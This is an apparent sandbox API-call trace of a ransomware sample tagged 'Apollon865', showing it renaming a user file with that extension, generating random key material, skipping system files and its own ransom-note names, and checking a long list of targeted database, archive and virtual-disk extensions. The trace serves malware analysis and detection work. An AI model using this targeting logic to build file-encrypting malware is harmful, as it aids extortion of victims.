	[0038.374] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak.apollon865"), dwFlags=0x1) returned 1
	[0038.581] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0038.581] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=12201) returned 1
	[0038.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0038.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0038.581] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0038.581] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0038.582] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0038.582] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0038.582] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x32b0, lpName=0x0) returned 0x14c
	[0038.584] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x32b0) returned 0x100000
	[0038.596] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0038.597] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0038.597] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0038.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0038.597] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0038.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0038.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0038.597] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0038.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0038.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599450
	[0038.597] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0038.597] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0038.597] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0038.597] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0038.599] CloseHandle (hObject=0x14c) returned 1
	[0038.600] CloseHandle (hObject=0x15c) returned 1
	[0038.601] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0038.601] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0038.601] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0038.601] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb371c2, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x2fa9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="brndlog.txt", cAlternateFileName="")) returned 1
	[0038.601] lstrcmpiW (lpString1="brndlog.txt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.601] lstrcmpiW (lpString1="brndlog.txt", lpString2="Apollon865.txt.exe") returned 1
	[0038.601] lstrcmpiW (lpString1="brndlog.txt", lpString2=".") returned 1
	[0038.601] lstrcmpiW (lpString1="brndlog.txt", lpString2="..") returned 1
	[0038.602] lstrcmpiW (lpString1="brndlog.txt", lpString2="windows") returned -1
	[0038.602] lstrcmpiW (lpString1="brndlog.txt", lpString2="bootmgr") returned 1
	[0038.602] lstrcmpiW (lpString1="brndlog.txt", lpString2="temp") returned -1
	[0038.602] lstrcmpiW (lpString1="brndlog.txt", lpString2="pagefile.sys") returned -1
	[0038.602] lstrcmpiW (lpString1="brndlog.txt", lpString2="boot") returned 1
	[0038.602] lstrcmpiW (lpString1="brndlog.txt", lpString2="ids.txt") returned -1
	[0038.602] lstrcmpiW (lpString1="brndlog.txt", lpString2="ntuser.dat") returned -1
	[0038.602] lstrcmpiW (lpString1="brndlog.txt", lpString2="perflogs") returned -1
	[0038.602] lstrcmpiW (lpString1="brndlog.txt", lpString2="MSBuild") returned -1
	[0038.602] lstrlenW (lpString="brndlog.txt") returned 11
	[0038.602] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak") returned 70
	[0038.602] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="brndlog.txt" | out: lpString1="brndlog.txt") returned="brndlog.txt"
	[0038.602] lstrlenW (lpString="brndlog.txt") returned 11
	[0038.602] lstrlenW (lpString="Apollon865") returned 10
	[0038.602] lstrcmpiW (lpString1="rndlog.txt", lpString2="Apollon865") returned 1
	[0038.602] lstrlenW (lpString=".dll") returned 4
	[0038.602] lstrcmpiW (lpString1="brndlog.txt", lpString2=".dll") returned 1
	[0038.602] lstrlenW (lpString=".lnk") returned 4
	[0038.602] lstrcmpiW (lpString1="brndlog.txt", lpString2=".lnk") returned 1
	[0038.602] lstrlenW (lpString=".ini") returned 4
	[0038.602] lstrcmpiW (lpString1="brndlog.txt", lpString2=".ini") returned 1
	[0038.602] lstrlenW (lpString=".sys") returned 4
	[0038.602] lstrcmpiW (lpString1="brndlog.txt", lpString2=".sys") returned 1
	[0038.602] lstrlenW (lpString="brndlog.txt") returned 11
	[0038.602] lstrlenW (lpString="bak") returned 3
	[0038.602] lstrcmpiW (lpString1="txt", lpString2="bak") returned 1
	[0038.602] lstrlenW (lpString="ba_") returned 3
	[0038.602] lstrcmpiW (lpString1="txt", lpString2="ba_") returned 1
	[0038.602] lstrlenW (lpString="dbb") returned 3
	[0038.602] lstrcmpiW (lpString1="txt", lpString2="dbb") returned 1
	[0038.602] lstrlenW (lpString="vmdk") returned 4
	[0038.602] lstrcmpiW (lpString1=".txt", lpString2="vmdk") returned -1
	[0038.602] lstrlenW (lpString="rar") returned 3
	[0038.602] lstrcmpiW (lpString1="txt", lpString2="rar") returned 1
	[0038.602] lstrlenW (lpString="zip") returned 3
	[0038.602] lstrcmpiW (lpString1="txt", lpString2="zip") returned -1
	[0038.602] lstrlenW (lpString="tgz") returned 3
	[0038.602] lstrcmpiW (lpString1="txt", lpString2="tgz") returned 1
	[0038.603] lstrlenW (lpString="vbox") returned 4
	[0038.603] lstrcmpiW (lpString1=".txt", lpString2="vbox") returned -1
	[0038.603] lstrlenW (lpString="vdi") returned 3
	[0038.603] lstrcmpiW (lpString1="txt", lpString2="vdi") returned -1
	[0038.603] lstrlenW (lpString="vhd") returned 3
	[0038.603] lstrcmpiW (lpString1="txt", lpString2="vhd") returned -1
	[0038.603] lstrlenW (lpString="vhdx") returned 4
	[0038.603] lstrcmpiW (lpString1=".txt", lpString2="vhdx") returned -1
	[0038.603] lstrlenW (lpString="avhd") returned 4
	[0038.603] lstrcmpiW (lpString1=".txt", lpString2="avhd") returned -1
	[0038.603] lstrlenW (lpString="db") returned 2
	[0038.603] lstrcmpiW (lpString1="xt", lpString2="db") returned 1
	[0038.603] lstrlenW (lpString="db2") returned 3
	[0038.603] lstrcmpiW (lpString1="txt", lpString2="db2") returned 1
	[0038.603] lstrlenW (lpString="db3") returned 3
	[0038.603] lstrcmpiW (lpString1="txt", lpString2="db3") returned 1
	[0038.603] lstrlenW (lpString="dbf") returned 3
	[0038.603] lstrcmpiW (lpString1="txt", lpString2="dbf") returned 1
	[0038.603] lstrlenW (lpString="mdf") returned 3
	[0038.603] lstrcmpiW (lpString1="txt", lpString2="mdf") returned 1
	[0038.603] lstrlenW (lpString="mdb") returned 3
	[0038.603] lstrcmpiW (lpString1="txt", lpString2="mdb") returned 1
	[0038.603] lstrlenW (lpString="sql") returned 3
	[0038.603] lstrcmpiW (lpString1="txt", lpString2="sql") returned 1
	[0038.603] lstrlenW (lpString="sqlite") returned 6
	[0038.603] lstrcmpiW (lpString1="og.txt", lpString2="sqlite") returned -1
	[0038.603] lstrlenW (lpString="sqlite3") returned 7
	[0038.603] lstrcmpiW (lpString1="log.txt", lpString2="sqlite3") returned -1
	[0038.603] lstrlenW (lpString="sqlitedb") returned 8
	[0038.603] lstrcmpiW (lpString1="dlog.txt", lpString2="sqlitedb") returned -1
	[0038.603] lstrlenW (lpString="xml") returned 3
	[0038.603] lstrcmpiW (lpString1="txt", lpString2="xml") returned -1
	[0038.603] lstrlenW (lpString="$er") returned 3
	[0038.603] lstrcmpiW (lpString1="txt", lpString2="$er") returned 1
	[0038.603] lstrlenW (lpString="4dd") returned 3
	[0038.603] lstrcmpiW (lpString1="txt", lpString2="4dd") returned 1
	[0038.603] lstrlenW (lpString="4dl") returned 3
	[0038.603] lstrcmpiW (lpString1="txt", lpString2="4dl") returned 1
	[0038.604] lstrlenW (lpString="^^^") returned 3
	[0038.604] lstrcmpiW (lpString1="txt", lpString2="^^^") returned 1
	[0038.604] lstrlenW (lpString="abs") returned 3
	[0038.604] lstrcmpiW (lpString1="txt", lpString2="abs") returned 1
	[0038.604] lstrlenW (lpString="abx") returned 3
	[0038.604] lstrcmpiW (lpString1="txt", lpString2="abx") returned 1
	[0038.604] lstrlenW (lpString="accdb") returned 5
	[0038.604] lstrcmpiW (lpString1="g.txt", lpString2="accdb") returned 1
	[0038.604] lstrlenW (lpString="accdc") returned 5
	[0038.604] lstrcmpiW (lpString1="g.txt", lpString2="accdc") returned 1
	[0038.604] lstrlenW (lpString="accde") returned 5
	[0038.604] lstrcmpiW (lpString1="g.txt", lpString2="accde") returned 1
	[0038.604] lstrlenW (lpString="accdr") returned 5
	[0038.604] lstrcmpiW (lpString1="g.txt", lpString2="accdr") returned 1
	[0038.604] lstrlenW (lpString="accdt") returned 5
	[0038.604] lstrcmpiW (lpString1="g.txt", lpString2="accdt") returned 1
	[0038.604] lstrlenW (lpString="accdw") returned 5
	[0038.604] lstrcmpiW (lpString1="g.txt", lpString2="accdw") returned 1
	[0038.604] lstrlenW (lpString="accft") returned 5
	[0038.604] lstrcmpiW (lpString1="g.txt", lpString2="accft") returned 1
	[0038.604] lstrlenW (lpString="adb") returned 3
	[0038.604] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1
	[0038.604] lstrlenW (lpString="adb") returned 3
	[0038.604] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1
	[0038.604] lstrlenW (lpString="ade") returned 3
	[0038.604] lstrcmpiW (lpString1="txt", lpString2="ade") returned 1
	[0038.604] lstrlenW (lpString="adf") returned 3
	[0038.604] lstrcmpiW (lpString1="txt", lpString2="adf") returned 1
	[0038.604] lstrlenW (lpString="adn") returned 3
	[0038.604] lstrcmpiW (lpString1="txt", lpString2="adn") returned 1
	[0038.604] lstrlenW (lpString="adp") returned 3
	[0038.604] lstrcmpiW (lpString1="txt", lpString2="adp") returned 1
	[0038.604] lstrlenW (lpString="alf") returned 3
	[0038.604] lstrcmpiW (lpString1="txt", lpString2="alf") returned 1
	[0038.604] lstrlenW (lpString="ask") returned 3
	[0038.604] lstrcmpiW (lpString1="txt", lpString2="ask") returned 1
	[0038.604] lstrlenW (lpString="btr") returned 3
	[0038.604] lstrcmpiW (lpString1="txt", lpString2="btr") returned 1
	[0038.604] lstrlenW (lpString="cat") returned 3
	[0038.605] lstrcmpiW (lpString1="txt", lpString2="cat") returned 1
	[0038.605] lstrlenW (lpString="cdb") returned 3
	[0038.605] lstrcmpiW (lpString1="txt", lpString2="cdb") returned 1
	[0038.605] lstrlenW (lpString="ckp") returned 3
	[0038.605] lstrcmpiW (lpString1="txt", lpString2="ckp") returned 1
	[0038.605] lstrlenW (lpString="cma") returned 3
	[0038.605] lstrcmpiW (lpString1="txt", lpString2="cma") returned 1
	[0038.605] lstrlenW (lpString="cpd") returned 3
	[0038.605] lstrcmpiW (lpString1="txt", lpString2="cpd") returned 1
	[0038.605] lstrlenW (lpString="dacpac") returned 6
	[0038.605] lstrcmpiW (lpString1="og.txt", lpString2="dacpac") returned 1
	[0038.605] lstrlenW (lpString="dad") returned 3
	[0038.605] lstrcmpiW (lpString1="txt", lpString2="dad") returned 1
	[0038.605] lstrlenW (lpString="dadiagrams") returned 10
	[0038.605] lstrcmpiW (lpString1="rndlog.txt", lpString2="dadiagrams") returned 1
	[0038.605] lstrlenW (lpString="daschema") returned 8
	[0038.605] lstrcmpiW (lpString1="dlog.txt", lpString2="daschema") returned 1
	[0038.605] lstrlenW (lpString="db-journal") returned 10
	[0038.605] lstrcmpiW (lpString1="rndlog.txt", lpString2="db-journal") returned 1
	[0038.605] lstrlenW (lpString="db-shm") returned 6
	[0038.605] lstrcmpiW (lpString1="og.txt", lpString2="db-shm") returned 1
	[0038.605] lstrlenW (lpString="db-wal") returned 6
	[0038.605] lstrcmpiW (lpString1="og.txt", lpString2="db-wal") returned 1
	[0038.605] lstrlenW (lpString="dbc") returned 3
	[0038.605] lstrcmpiW (lpString1="txt", lpString2="dbc") returned 1
	[0038.605] lstrlenW (lpString="dbs") returned 3
	[0038.605] lstrcmpiW (lpString1="txt", lpString2="dbs") returned 1
	[0038.605] lstrlenW (lpString="dbt") returned 3
	[0038.605] lstrcmpiW (lpString1="txt", lpString2="dbt") returned 1
	[0038.605] lstrlenW (lpString="dbv") returned 3
	[0038.605] lstrcmpiW (lpString1="txt", lpString2="dbv") returned 1
	[0038.605] lstrlenW (lpString="dbx") returned 3
	[0038.605] lstrcmpiW (lpString1="txt", lpString2="dbx") returned 1
	[0038.605] lstrlenW (lpString="dcb") returned 3
	[0038.605] lstrcmpiW (lpString1="txt", lpString2="dcb") returned 1
	[0038.605] lstrlenW (lpString="dct") returned 3
	[0038.605] lstrcmpiW (lpString1="txt", lpString2="dct") returned 1
	[0038.605] lstrlenW (lpString="dcx") returned 3
	[0038.606] lstrcmpiW (lpString1="txt", lpString2="dcx") returned 1
	[0038.606] lstrlenW (lpString="ddl") returned 3
	[0038.606] lstrcmpiW (lpString1="txt", lpString2="ddl") returned 1
	[0038.606] lstrlenW (lpString="dlis") returned 4
	[0038.606] lstrcmpiW (lpString1=".txt", lpString2="dlis") returned -1
	[0038.606] lstrlenW (lpString="dp1") returned 3
	[0038.606] lstrcmpiW (lpString1="txt", lpString2="dp1") returned 1
	[0038.606] lstrlenW (lpString="dqy") returned 3
	[0038.606] lstrcmpiW (lpString1="txt", lpString2="dqy") returned 1
	[0038.606] lstrlenW (lpString="dsk") returned 3
	[0038.606] lstrcmpiW (lpString1="txt", lpString2="dsk") returned 1
	[0038.606] lstrlenW (lpString="dsn") returned 3
	[0038.606] lstrcmpiW (lpString1="txt", lpString2="dsn") returned 1
	[0038.606] lstrlenW (lpString="dtsx") returned 4
	[0038.606] lstrcmpiW (lpString1=".txt", lpString2="dtsx") returned -1
	[0038.606] lstrlenW (lpString="dxl") returned 3
	[0038.606] lstrcmpiW (lpString1="txt", lpString2="dxl") returned 1
	[0038.606] lstrlenW (lpString="eco") returned 3
	[0038.606] lstrcmpiW (lpString1="txt", lpString2="eco") returned 1
	[0038.606] lstrlenW (lpString="ecx") returned 3
	[0038.606] lstrcmpiW (lpString1="txt", lpString2="ecx") returned 1
	[0038.606] lstrlenW (lpString="edb") returned 3
	[0038.606] lstrcmpiW (lpString1="txt", lpString2="edb") returned 1
	[0038.606] lstrlenW (lpString="epim") returned 4
	[0038.606] lstrcmpiW (lpString1=".txt", lpString2="epim") returned -1
	[0038.606] lstrlenW (lpString="fcd") returned 3
	[0038.606] lstrcmpiW (lpString1="txt", lpString2="fcd") returned 1
	[0038.606] lstrlenW (lpString="fdb") returned 3
	[0038.606] lstrcmpiW (lpString1="txt", lpString2="fdb") returned 1
	[0038.606] lstrlenW (lpString="fic") returned 3
	[0038.606] lstrcmpiW (lpString1="txt", lpString2="fic") returned 1
	[0038.606] lstrlenW (lpString="flexolibrary") returned 12
	[0038.606] lstrlenW (lpString="fm5") returned 3
	[0038.606] lstrcmpiW (lpString1="txt", lpString2="fm5") returned 1
	[0038.606] lstrlenW (lpString="fmp") returned 3
	[0038.606] lstrcmpiW (lpString1="txt", lpString2="fmp") returned 1
	[0038.606] lstrlenW (lpString="fmp12") returned 5
	[0038.606] lstrcmpiW (lpString1="g.txt", lpString2="fmp12") returned 1
	[0038.607] lstrlenW (lpString="fmpsl") returned 5
	[0038.607] lstrcmpiW (lpString1="g.txt", lpString2="fmpsl") returned 1
	[0038.607] lstrlenW (lpString="fol") returned 3
	[0038.607] lstrcmpiW (lpString1="txt", lpString2="fol") returned 1
	[0038.607] lstrlenW (lpString="fp3") returned 3
	[0038.607] lstrcmpiW (lpString1="txt", lpString2="fp3") returned 1
	[0038.607] lstrlenW (lpString="fp4") returned 3
	[0038.607] lstrcmpiW (lpString1="txt", lpString2="fp4") returned 1
	[0038.607] lstrlenW (lpString="fp5") returned 3
	[0038.607] lstrcmpiW (lpString1="txt", lpString2="fp5") returned 1
	[0038.607] lstrlenW (lpString="fp7") returned 3
	[0038.607] lstrcmpiW (lpString1="txt", lpString2="fp7") returned 1
	[0038.607] lstrlenW (lpString="fpt") returned 3
	[0038.607] lstrcmpiW (lpString1="txt", lpString2="fpt") returned 1
	[0038.607] lstrlenW (lpString="frm") returned 3
	[0038.607] lstrcmpiW (lpString1="txt", lpString2="frm") returned 1
	[0038.607] lstrlenW (lpString="gdb") returned 3
	[0038.607] lstrcmpiW (lpString1="txt", lpString2="gdb") returned 1
	[0038.607] lstrlenW (lpString="gdb") returned 3
	[0038.607] lstrcmpiW (lpString1="txt", lpString2="gdb") returned 1
	[0038.607] lstrlenW (lpString="grdb") returned 4
	[0038.607] lstrcmpiW (lpString1=".txt", lpString2="grdb") returned -1
	[0038.607] lstrlenW (lpString="gwi") returned 3
	[0038.607] lstrcmpiW (lpString1="txt", lpString2="gwi") returned 1
	[0038.607] lstrlenW (lpString="hdb") returned 3
	[0038.607] lstrcmpiW (lpString1="txt", lpString2="hdb") returned 1
	[0038.607] lstrlenW (lpString="his") returned 3
	[0038.607] lstrcmpiW (lpString1="txt", lpString2="his") returned 1
	[0038.607] lstrlenW (lpString="ib") returned 2
	[0038.607] lstrcmpiW (lpString1="xt", lpString2="ib") returned 1
	[0038.607] lstrlenW (lpString="idb") returned 3
	[0038.607] lstrcmpiW (lpString1="txt", lpString2="idb") returned 1
	[0038.607] lstrlenW (lpString="ihx") returned 3
	[0038.607] lstrcmpiW (lpString1="txt", lpString2="ihx") returned 1
	[0038.607] lstrlenW (lpString="itdb") returned 4
	[0038.607] lstrcmpiW (lpString1=".txt", lpString2="itdb") returned -1
	[0038.607] lstrlenW (lpString="itw") returned 3
	[0038.607] lstrcmpiW (lpString1="txt", lpString2="itw") returned 1
	[0038.608] lstrlenW (lpString="jet") returned 3
	[0038.608] lstrcmpiW (lpString1="txt", lpString2="jet") returned 1
	[0038.608] lstrlenW (lpString="jtx") returned 3
	[0038.608] lstrcmpiW (lpString1="txt", lpString2="jtx") returned 1
	[0038.608] lstrlenW (lpString="kdb") returned 3
	[0038.608] lstrcmpiW (lpString1="txt", lpString2="kdb") returned 1
	[0038.608] lstrlenW (lpString="kexi") returned 4
	[0038.608] lstrcmpiW (lpString1=".txt", lpString2="kexi") returned -1
	[0038.608] lstrlenW (lpString="kexic") returned 5
	[0038.608] lstrcmpiW (lpString1="g.txt", lpString2="kexic") returned -1
	[0038.608] lstrlenW (lpString="kexis") returned 5
	[0038.608] lstrcmpiW (lpString1="g.txt", lpString2="kexis") returned -1
	[0038.608] lstrlenW (lpString="lgc") returned 3
	[0038.608] lstrcmpiW (lpString1="txt", lpString2="lgc") returned 1
	[0038.608] lstrlenW (lpString="lwx") returned 3
	[0038.608] lstrcmpiW (lpString1="txt", lpString2="lwx") returned 1
	[0038.608] lstrlenW (lpString="maf") returned 3
	[0038.608] lstrcmpiW (lpString1="txt", lpString2="maf") returned 1
	[0038.608] lstrlenW (lpString="maq") returned 3
	[0038.608] lstrcmpiW (lpString1="txt", lpString2="maq") returned 1
	[0038.608] lstrlenW (lpString="mar") returned 3
	[0038.608] lstrcmpiW (lpString1="txt", lpString2="mar") returned 1
	[0038.608] lstrlenW (lpString="marshal") returned 7
	[0038.608] lstrcmpiW (lpString1="log.txt", lpString2="marshal") returned -1
	[0038.608] lstrlenW (lpString="mas") returned 3
	[0038.608] lstrcmpiW (lpString1="txt", lpString2="mas") returned 1
	[0038.608] lstrlenW (lpString="mav") returned 3
	[0038.608] lstrcmpiW (lpString1="txt", lpString2="mav") returned 1
	[0038.608] lstrlenW (lpString="maw") returned 3
	[0038.608] lstrcmpiW (lpString1="txt", lpString2="maw") returned 1
	[0038.608] lstrlenW (lpString="mdbhtml") returned 7
	[0038.608] lstrcmpiW (lpString1="log.txt", lpString2="mdbhtml") returned -1
	[0038.608] lstrlenW (lpString="mdn") returned 3
	[0038.608] lstrcmpiW (lpString1="txt", lpString2="mdn") returned 1
	[0038.608] lstrlenW (lpString="mdt") returned 3
	[0038.608] lstrcmpiW (lpString1="txt", lpString2="mdt") returned 1
	[0038.608] lstrlenW (lpString="mfd") returned 3
	[0038.608] lstrcmpiW (lpString1="txt", lpString2="mfd") returned 1
	[0038.608] lstrlenW (lpString="mpd") returned 3
	[0038.609] lstrcmpiW (lpString1="txt", lpString2="mpd") returned 1
	[0038.609] lstrlenW (lpString="mrg") returned 3
	[0038.609] lstrcmpiW (lpString1="txt", lpString2="mrg") returned 1
	[0038.609] lstrlenW (lpString="mud") returned 3
	[0038.609] lstrcmpiW (lpString1="txt", lpString2="mud") returned 1
	[0038.609] lstrlenW (lpString="mwb") returned 3
	[0038.609] lstrcmpiW (lpString1="txt", lpString2="mwb") returned 1
	[0038.609] lstrlenW (lpString="myd") returned 3
	[0038.609] lstrcmpiW (lpString1="txt", lpString2="myd") returned 1
	[0038.609] lstrlenW (lpString="ndf") returned 3
	[0038.609] lstrcmpiW (lpString1="txt", lpString2="ndf") returned 1
	[0038.609] lstrlenW (lpString="nnt") returned 3
	[0038.609] lstrcmpiW (lpString1="txt", lpString2="nnt") returned 1
	[0038.609] lstrlenW (lpString="nrmlib") returned 6
	[0038.609] lstrcmpiW (lpString1="og.txt", lpString2="nrmlib") returned 1
	[0038.609] lstrlenW (lpString="ns2") returned 3
	[0038.609] lstrcmpiW (lpString1="txt", lpString2="ns2") returned 1
	[0038.610] lstrlenW (lpString="ns3") returned 3
	[0038.610] lstrcmpiW (lpString1="txt", lpString2="ns3") returned 1
	[0038.610] lstrlenW (lpString="ns4") returned 3
	[0038.610] lstrcmpiW (lpString1="txt", lpString2="ns4") returned 1
	[0038.610] lstrlenW (lpString="nsf") returned 3
	[0038.610] lstrcmpiW (lpString1="txt", lpString2="nsf") returned 1
	[0038.610] lstrlenW (lpString="nv") returned 2
	[0038.610] lstrcmpiW (lpString1="xt", lpString2="nv") returned 1
	[0038.610] lstrlenW (lpString="nv2") returned 3
	[0038.610] lstrcmpiW (lpString1="txt", lpString2="nv2") returned 1
	[0038.610] lstrlenW (lpString="nwdb") returned 4
	[0038.610] lstrcmpiW (lpString1=".txt", lpString2="nwdb") returned -1
	[0038.610] lstrlenW (lpString="nyf") returned 3
	[0038.610] lstrcmpiW (lpString1="txt", lpString2="nyf") returned 1
	[0038.610] lstrlenW (lpString="odb") returned 3
	[0038.610] lstrcmpiW (lpString1="txt", lpString2="odb") returned 1
	[0038.610] lstrlenW (lpString="odb") returned 3
	[0038.610] lstrcmpiW (lpString1="txt", lpString2="odb") returned 1
	[0038.610] lstrlenW (lpString="oqy") returned 3
	[0038.610] lstrcmpiW (lpString1="txt", lpString2="oqy") returned 1
	[0038.610] lstrlenW (lpString="ora") returned 3
	[0038.610] lstrcmpiW (lpString1="txt", lpString2="ora") returned 1
	[0038.610] lstrlenW (lpString="orx") returned 3
	[0038.610] lstrcmpiW (lpString1="txt", lpString2="orx") returned 1
	[0038.610] lstrlenW (lpString="owc") returned 3
	[0038.610] lstrcmpiW (lpString1="txt", lpString2="owc") returned 1
	[0038.610] lstrlenW (lpString="p96") returned 3
	[0038.610] lstrcmpiW (lpString1="txt", lpString2="p96") returned 1
	[0038.610] lstrlenW (lpString="p97") returned 3
	[0038.610] lstrcmpiW (lpString1="txt", lpString2="p97") returned 1
	[0038.610] lstrlenW (lpString="pan") returned 3
	[0038.610] lstrcmpiW (lpString1="txt", lpString2="pan") returned 1
	[0038.610] lstrlenW (lpString="pdb") returned 3
	[0038.610] lstrcmpiW (lpString1="txt", lpString2="pdb") returned 1
	[0038.610] lstrlenW (lpString="pdm") returned 3
	[0038.611] lstrcmpiW (lpString1="txt", lpString2="pdm") returned 1
	[0038.611] lstrlenW (lpString="pnz") returned 3
	[0038.611] lstrcmpiW (lpString1="txt", lpString2="pnz") returned 1
	[0038.611] lstrlenW (lpString="qry") returned 3
	[0038.611] lstrcmpiW (lpString1="txt", lpString2="qry") returned 1
	[0038.611] lstrlenW (lpString="qvd") returned 3
	[0038.611] lstrcmpiW (lpString1="txt", lpString2="qvd") returned 1
	[0038.611] lstrlenW (lpString="rbf") returned 3
	[0038.611] lstrcmpiW (lpString1="txt", lpString2="rbf") returned 1
	[0038.611] lstrlenW (lpString="rctd") returned 4
	[0038.611] lstrcmpiW (lpString1=".txt", lpString2="rctd") returned -1
	[0038.611] lstrlenW (lpString="rod") returned 3
	[0038.611] lstrcmpiW (lpString1="txt", lpString2="rod") returned 1
	[0038.611] lstrlenW (lpString="rodx") returned 4
	[0038.611] lstrcmpiW (lpString1=".txt", lpString2="rodx") returned -1
	[0038.611] lstrlenW (lpString="rpd") returned 3
	[0038.611] lstrcmpiW (lpString1="txt", lpString2="rpd") returned 1
	[0038.611] lstrlenW (lpString="rsd") returned 3
	[0038.611] lstrcmpiW (lpString1="txt", lpString2="rsd") returned 1
	[0038.611] lstrlenW (lpString="sas7bdat") returned 8
	[0038.611] lstrcmpiW (lpString1="dlog.txt", lpString2="sas7bdat") returned -1
	[0038.611] lstrlenW (lpString="sbf") returned 3
	[0038.611] lstrcmpiW (lpString1="txt", lpString2="sbf") returned 1
	[0038.611] lstrlenW (lpString="scx") returned 3
	[0038.611] lstrcmpiW (lpString1="txt", lpString2="scx") returned 1
	[0038.611] lstrlenW (lpString="sdb") returned 3
	[0038.611] lstrcmpiW (lpString1="txt", lpString2="sdb") returned 1
	[0038.611] lstrlenW (lpString="sdc") returned 3
	[0038.611] lstrcmpiW (lpString1="txt", lpString2="sdc") returned 1
	[0038.611] lstrlenW (lpString="sdf") returned 3
	[0038.611] lstrcmpiW (lpString1="txt", lpString2="sdf") returned 1
	[0038.611] lstrlenW (lpString="sis") returned 3
	[0038.611] lstrcmpiW (lpString1="txt", lpString2="sis") returned 1
	[0038.611] lstrlenW (lpString="spq") returned 3
	[0038.611] lstrcmpiW (lpString1="txt", lpString2="spq") returned 1
	[0038.612] lstrlenW (lpString="te") returned 2
	[0038.612] lstrcmpiW (lpString1="xt", lpString2="te") returned 1
	[0038.612] lstrlenW (lpString="teacher") returned 7
	[0038.612] lstrcmpiW (lpString1="log.txt", lpString2="teacher") returned -1
	[0038.612] lstrlenW (lpString="tmd") returned 3
	[0038.612] lstrcmpiW (lpString1="txt", lpString2="tmd") returned 1
	[0038.612] lstrlenW (lpString="tps") returned 3
	[0038.612] lstrcmpiW (lpString1="txt", lpString2="tps") returned 1
	[0038.612] lstrlenW (lpString="trc") returned 3
	[0038.612] lstrcmpiW (lpString1="txt", lpString2="trc") returned 1
	[0038.612] lstrlenW (lpString="trc") returned 3
	[0038.612] lstrcmpiW (lpString1="txt", lpString2="trc") returned 1
	[0038.612] lstrlenW (lpString="trm") returned 3
	[0038.612] lstrcmpiW (lpString1="txt", lpString2="trm") returned 1
	[0038.613] lstrlenW (lpString="udb") returned 3
